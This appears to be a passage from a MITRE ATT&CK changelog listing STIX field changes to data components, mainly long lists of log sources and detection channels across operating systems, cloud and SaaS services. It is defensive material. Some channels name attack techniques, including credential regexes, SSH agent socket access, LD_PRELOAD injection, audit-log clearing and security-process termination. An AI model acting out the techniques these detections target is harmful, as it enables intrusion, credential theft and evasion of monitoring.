| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:37.873000+00:00 | 2025-10-21 15:14:35.331000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.*exit.*code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:34.519000+00:00 | 2025-10-21 15:14:36.181000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0115', 'external_id': 'DC0115'}] | |
| x_mitre_log_sources | [{'name': 'Application Vetting', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:22.260000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0117', 'external_id': 'DC0117'}] | |
| x_mitre_log_sources | [{'name': 'User Interface', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:22.106000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0118', 'external_id': 'DC0118'}] | |
| x_mitre_log_sources | [{'name': 'User Interface', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:21.541000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0038', 'external_id': 'DC0038'}] | |
| x_mitre_log_sources | [{'name': 'Application Log', 'channel': 'None'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook errors loading or processing custom form templates'}, {'name': 'm365:unified', 'channel': 'Unusual form activity within Outlook client, including load of non-default forms'}, {'name': 'saas:okta', 'channel': 'Conditional Access policy rule modified or MFA requirement disabled'}, {'name': 'ApplicationLog:EntraIDPortal', 'channel': 'DeviceRegistration events'}, {'name': 'ApplicationLog:Intune/MDM Logs', 'channel': 'Enrollment events (e.g., MDMDeviceRegistration)'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed & Exchange Audit'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed, Search-Mailbox events'}, {'name': 'WinEventLog:Application', 'channel': 'Office Add-in load errors, abnormal loading context, or unsigned add-in warnings'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed'}, {'name': 'Application:Mail', 'channel': 'smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)'}, {'name': 'saas:slack', 'channel': 'file_upload, message_send, message_click'}, {'name': 'saas:teams', 'channel': 'ChatMessageSent, ChatMessageEdited, LinkClick'}, {'name': 'saas:gmail', 'channel': 'SendEmail, OpenAttachment, ClickLink'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, AttachmentPreviewed'}, {'name': 'WinEventLog:System', 'channel': 'Changes to applicationhost.config or DLLs loaded by w3wp.exe'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6416'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'Device started/installed (UMDF) GUIDs'}, {'name': 'linux:syslog', 'channel': 'usb * new|thunderbolt|pci .* added|block.*: new .* device'}, {'name': 'macos:unifiedlog', 'channel': 'Device attached|enumerated VID/PID'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types'}, {'name': 'Application:Mail', 'channel': 'Inbound messages with anomalous headers, spoofed SPF/DKIM failures'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound email activity with suspicious domains or mismatched sender information'}, {'name': 'm365:unified', 'channel': 'FileAccessed: Access of email attachments by Office applications'}, {'name': 'saas:collaboration', 'channel': 'MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)'}, {'name': 'ApplicationLog:IIS', 'channel': 'IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)'}, {'name': 'ApplicationLog:WebServer', 'channel': '/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors'}, {'name': 'macos:unifiedlog', 'channel': 'App/web server logs ingested via unified logging or filebeat (nginx/apache/node).'}, {'name': 'ApplicationLog:Ingress', 'channel': 'Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections'}, {'name': 'esxi:vmkernel', 'channel': 'vmkernel / OpenSLP logs for malformed requests'}, {'name': 'networkdevice:controlplane', 'channel': 'Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule execution failure or abnormal rule execution context'}, {'name': 'm365:unified', 'channel': 'Creation or modification of inbox rule outside of normal user behavior'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails containing embedded or shortened URLs'}, {'name': 'Application:Mail', 'channel': 'Inbound emails containing hyperlinks from suspicious sources'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages with embedded or shortened URLs'}, {'name': 'azure:signinLogs', 'channel': 'ConsentGrant: Suspicious consent grants to non-approved or unknown applications'}, {'name': 'm365:unified', 'channel': 'AppRegistration: Unexpected application registration or OAuth authorization'}, {'name': 'm365:unified', 'channel': 'MessageSend, MessageRead, or FileAttached events containing credential-like patterns'}, {'name': 'm365:exchange', 'channel': 'Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains'}, {'name': 'saas:slack', 'channel': 'chat.postMessage, files.upload, or discovery API calls involving token/credential regex'}, {'name': 'linux:syslog', 'channel': 'Inbound messages from webmail services containing attachments or URLs'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages containing embedded links or attachments from non-enterprise services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031,7034,1000,1001'}, {'name': 'linux:syslog', 'channel': "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."}, {'name': 'esxi:hostd', 'channel': "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."}, {'name': 'macos:unifiedlog', 'channel': "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."}, {'name': 'esxi:hostd', 'channel': 'unexpected script/command invocations via hostd'}, {'name': 'linux:syslog', 'channel': 'System daemons initiating encrypted sessions with unexpected destinations'}, {'name': 'esxi:vpxd', 'channel': 'Symmetric crypto routines triggered for external session'}, {'name': 'AWS:CloudTrail', 'channel': 'SendEmail'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeModel'}, {'name': 'saas:openai', 'channel': 'High volume of requests to /v1/chat/completions or /v1/images/generations'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Add-InboxRule, RegisterWebhook'}, {'name': 'saas:application', 'channel': 'High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.'}, {'name': 'NSM:Connections', 'channel': 'PushNotificationSent'}, {'name': 'saas:okta', 'channel': 'MFAChallengeIssued'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution'}, {'name': 'linux:syslog', 'channel': 'milter configuration updated, transport rule initialized, unexpected script execution'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs'}, {'name': 'linux:syslog', 'channel': 'Repetitive HTTP 408, 500, or 503 errors logged within short timeframe'}, {'name': 'macos:unifiedlog', 'channel': 'opendirectoryd crashes or abnormal authentication errors'}, {'name': 'm365:unified', 'channel': 'ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA'}, {'name': 'WinEventLog:Application', 'channel': 'Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events'}, {'name': 'linux:syslog', 'channel': 'Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads'}, {'name': 'macos:unifiedlog', 'channel': 'Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches'}, {'name': 'm365:unified', 'channel': 'Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook logs indicating failure to load or render HTML page in Home Page view'}, {'name': 'm365:unified', 'channel': 'Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1102'}, {'name': 'linux:cli', 'channel': 'cleared or truncated .bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'log stream cleared or truncated'}, {'name': 'm365:unified', 'channel': 'PurgeAuditLogs, Remove-MailboxAuditLog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=104'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000-1026'}, {'name': 'EDR:detection', 'channel': 'ThreatDetected, QuarantineLog'}, {'name': 'macos:unifiedlog', 'channel': 'quarantine or AV-related subsystem'}, {'name': 'EDR:detection', 'channel': 'ThreatLog'}, {'name': 'azure:signinlogs', 'channel': 'Modify Conditional Access Policy'}, {'name': 'm365:unified', 'channel': 'Set-CsOnlineUser or UpdateAuthPolicy'}, {'name': 'm365:unified', 'channel': 'New-InboxRule or Set-InboxRule events recorded in Exchange Online'}, {'name': 'ApplicationLog:MailServer', 'channel': 'Unexpected additions of sieve rules or filtering directives'}, {'name': 'm365:unified', 'channel': 'Transport rule or inbox rule creation events'}, {'name': 'ApplicationLog:Outlook', 'channel': 'Outlook client-level rule creation actions not consistent with normal user activity'}, {'name': 'kubernetes:orchestrator', 'channel': 'Access to orchestrator logs containing credentials (Docker/Kubernetes logs)'}, {'name': 'WinEventLog:Application', 'channel': 'Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)'}, {'name': 'journald:systemd', 'channel': 'Repeated service restart attempts or unit failures'}, {'name': 'macos:unifiedlog', 'channel': 'Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console'}, {'name': 'docker:events', 'channel': 'Container exited with non-zero code repeatedly in short period'}, {'name': 'WinEventLog:Application', 'channel': 'SCCM, Intune logs'}, {'name': 'macos:jamf', 'channel': 'RemoteCommandExecution'}, {'name': 'networkdevice:syslog', 'channel': 'config push events'}, {'name': 'linux:syslog', 'channel': 'processes binding to non-standard ports or sshd configured on unexpected port'}, {'name': 'm365:unified', 'channel': 'GAL Lookup or Address Book download'}, {'name': 'esxi:hostd', 'channel': 'Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails with attachments from suspicious or spoofed senders'}, {'name': 'Application:Mail', 'channel': 'Inbound email attachments logged from MTAs with suspicious metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound messages with attachments from suspicious domains'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files'}, {'name': 'm365:unified', 'channel': 'certificate added or modified in application credentials'}, {'name': 'saas:Snowflake', 'channel': 'QUERY: Large or repeated SELECT * queries to sensitive tables'}, {'name': 'saas:Airtable', 'channel': 'EXPORT: User-triggered data export via GUI or API'}, {'name': 'ApplicationLog:CallRecords', 'channel': 'Outbound or inbound calls to high-risk or blocklisted numbers'}, {'name': 'networkdevice:syslog', 'channel': 'SIP REGISTER, INVITE, or unusual call destination metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Outgoing or incoming calls with non-standard caller IDs or unusual metadata'}, {'name': 'm365:unified', 'channel': 'Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call'}, {'name': 'docker:daemon', 'channel': 'container_create,container_start'}, {'name': 'saas:github', 'channel': 'Bulk access to multiple files or large volume of repo requests within short time window'}, {'name': 'm365:exchange', 'channel': 'Transport Rule Modification'}, {'name': 'm365:exchange', 'channel': 'Admin Audit Logs, Transport Rules'}, {'name': 'saas:application', 'channel': 'High-volume API calls or traffic via messaging or webhook service'}, {'name': 'm365:unified', 'channel': 'Set federation settings on domain|Set domain authentication|Add federated identity provider'}, {'name': 'linux:syslog', 'channel': 'system daemons initiating TLS sessions outside expected services'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership'}, {'name': 'Application:Mail', 'channel': 'Mismatch between authenticated username and From header in email'}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app or third-party clients sending messages with mismatched From headers'}, {'name': 'gcp:workspaceaudit', 'channel': 'SendAs: Outbound messages with alias identities that differ from primary account'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000'}, {'name': 'linux:syslog', 'channel': 'browser/office crash, segfault, abnormal termination'}, {'name': 'macos:unifiedlog', 'channel': 'process crash, abort, code signing violations'}, {'name': 'saas:okta', 'channel': 'WebUI access to administrator dashboard'}, {'name': 'm365:unified', 'channel': 'Read-only configuration review from GUI'}, {'name': 'saas:box', 'channel': 'User navigated to admin interface'}, {'name': 'azure:signinlogs', 'channel': 'Register PTA Agent or Modify AD FS trust'}, {'name': 'm365:unified', 'channel': 'Modify Federation Settings or Update Authentication Policy'}, {'name': 'saas:okta', 'channel': 'Federation configuration update or signing certificate change'}, {'name': 'macos:unifiedlog', 'channel': 'Configuration profile modified or new profile installed'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000, 1001, 1002'}, {'name': 'journald:Application', 'channel': 'Segfault or crash log entry associated with specific application binary'}, {'name': 'macos:unifiedlog', 'channel': 'Crash log entries for a process receiving malformed input or known exploit patterns'}, {'name': 'AWS:CloudWatch', 'channel': 'Repeated crash pattern within container or instance logs'}, {'name': 'esxi:hostd', 'channel': 'unexpected script invocations producing long encoded strings'}, {'name': 'docker:runtime', 'channel': 'execution of cloud CLI tool (e.g., aws, az) inside container'}, {'name': 'WinEventLog:Application', 'channel': 'VPN, Citrix, or remote access gateway logs showing external IP addresses'}, {'name': 'NSM:Connections', 'channel': 'Failed password or accepted password for SSH users'}, {'name': 'ApplicationLog:API', 'channel': 'Docker/Kubernetes API access from external sources'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Unusual spikes in inbound messages to a single recipient'}, {'name': 'Application:Mail', 'channel': 'High-frequency inbound mail activity to a specific recipient address'}, {'name': 'm365:exchange', 'channel': 'MailDelivery: High-frequency delivery of messages or attachments to a single recipient'}, {'name': 'macos:unifiedlog', 'channel': 'Repetitive inbound email delivery activity logged within a short time window'}, {'name': 'saas:confluence', 'channel': 'access.content'}, {'name': 'm365:unified', 'channel': 'PowerShell: Add-MailboxPermission'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows'}, {'name': 'm365:exchange', 'channel': 'New-InboxRule: Automation that triggers abnormal forwarding or external link generation'}, {'name': 'saas:googledrive', 'channel': 'FileOpen / FileAccess: Event-driven script triggering on user file actions'}, {'name': 'networkdevice:syslog', 'channel': 'Failed authentication requests redirected to non-standard portals'}, {'name': 'saas:okta', 'channel': 'System API Call: user.read, group.read'}, {'name': 'esxi:hostd', 'channel': 'Host daemon command log entries related to vib enumeration'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission or Set-ManagementRoleAssignment'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule creation, form load, or homepage redirection'}, {'name': 'm365:mailboxaudit', 'channel': 'Outlook rule creation or custom form deployment'}, {'name': 'saas:zoom', 'channel': 'unusual web session tokens and automation patterns during login'}, {'name': 'WinEventLog:Application', 'channel': 'High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)'}, {'name': 'linux:syslog', 'channel': 'Error/warning logs from services indicating load spike or worker exhaustion'}, {'name': 'macos:unifiedlog', 'channel': 'Application errors or resource contention from excessive frontend or script invocation'}, {'name': 'AWS:CloudWatch', 'channel': 'Elevated 5xx response rates in application logs or gateway layer'}, {'name': 'm365:messagetrace', 'channel': 'AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail'}, {'name': 'linux:syslog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain'}, {'name': 'macos:unifiedlog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains'}, {'name': 'saas:email', 'channel': 'AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1341,1342,1020,1063'}, {'name': 'linux:syslog', 'channel': 'suspicious DHCP lease assignment with unexpected DNS or gateway'}, {'name': 'macos:unifiedlog', 'channel': 'new DHCP configuration with anomalous DNS or router values'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange logs or header artifacts'}, {'name': 'macos:unifiedlog', 'channel': 'Mail or AppleScript subsystem'}, {'name': 'm365:exchange', 'channel': 'MessageTrace logs'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000,1001'}, {'name': 'linux:syslog', 'channel': 'opened document|clicked link|segfault|abnormal termination|sandbox'}, {'name': 'macos:unifiedlog', 'channel': 'opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'm365:unified', 'channel': 'Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile'}, {'name': 'azure:activity', 'channel': 'Add role assignment / ElevateAccess / Create service principal'}, {'name': 'saas:googleworkspace', 'channel': 'OAuth2 authorization grants / Admin role assignments'}, {'name': 'm365:unified', 'channel': 'Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship'}, {'name': 'linux:syslog', 'channel': 'Authentication attempts into finance-related servers from unusual IPs or times'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous keychain access attempts targeting payment credentials'}, {'name': 'saas:finance', 'channel': 'Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts'}, {'name': 'saas:audit', 'channel': 'Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows'}, {'name': 'm365:unified', 'channel': 'MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, SearchQueried'}, {'name': 'm365:unified', 'channel': 'Detection of hidden macro streams or SetHiddenAttribute actions'}, {'name': 'm365:unified', 'channel': 'RunMacro'}, {'name': 'azure:audit', 'channel': 'App registrations or consent grants by abnormal users or at unusual times'}, {'name': 'azure:signinlogs', 'channel': 'Resource access initiated using application credentials, not user accounts'}, {'name': 'saas:slack', 'channel': 'OAuth token use by unknown app client_id accessing private channels or files'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels'}, {'name': 'linux:syslog', 'channel': 'sshd sessions with unusual port forwarding parameters'}, {'name': 'saas:audit', 'channel': 'Application added or consent granted: Integration persisting after original user disabled'}, {'name': 'linux:syslog', 'channel': 'Non-standard processes negotiating SSL/TLS key exchanges'}, {'name': 'esxi:vpxd', 'channel': 'ESXi process initiating asymmetric handshake with external host'}, {'name': 'WinEventLog:Application', 'channel': 'Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs'}, {'name': 'linux:syslog', 'channel': 'Module registration or stacktrace logs indicating segmentation faults or unknown module errors'}, {'name': 'esxi:hostd', 'channel': 'New extension/module install with unknown vendor ID'}, {'name': 'm365:unified', 'channel': 'FileUploaded or FileCopied events'}, {'name': 'saas:salesforce', 'channel': 'DataExport, RestAPI, Login, ReportExport'}, {'name': 'saas:hubspot', 'channel': 'contact_viewed, contact_exported, login'}, {'name': 'saas:slack', 'channel': 'conversations.history, files.list, users.info, audit_logs'}, {'name': 'm365:unified', 'channel': 'TeamsMessageAccess, TeamsExport, ExternalAppAccess'}, {'name': 'm365:unified', 'channel': 'TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport'}, {'name': 'm365:unified', 'channel': 'FileAccessed'}, {'name': 'm365:messagetrace', 'channel': 'X-MS-Exchange-Organization-AutoForwarded'}, {'name': 'linux:syslog', 'channel': 'Segfaults, kernel oops, or crashes in security software processes'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal terminations of com.apple.security.* or 3rd-party security daemons'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services'}, {'name': 'm365:unified', 'channel': 'ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:35.474000+00:00 | 2025-10-21 15:14:36.580000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0110', 'external_id': 'DC0110'}] | |
| x_mitre_log_sources | [{'name': 'Asset', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:50.339000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
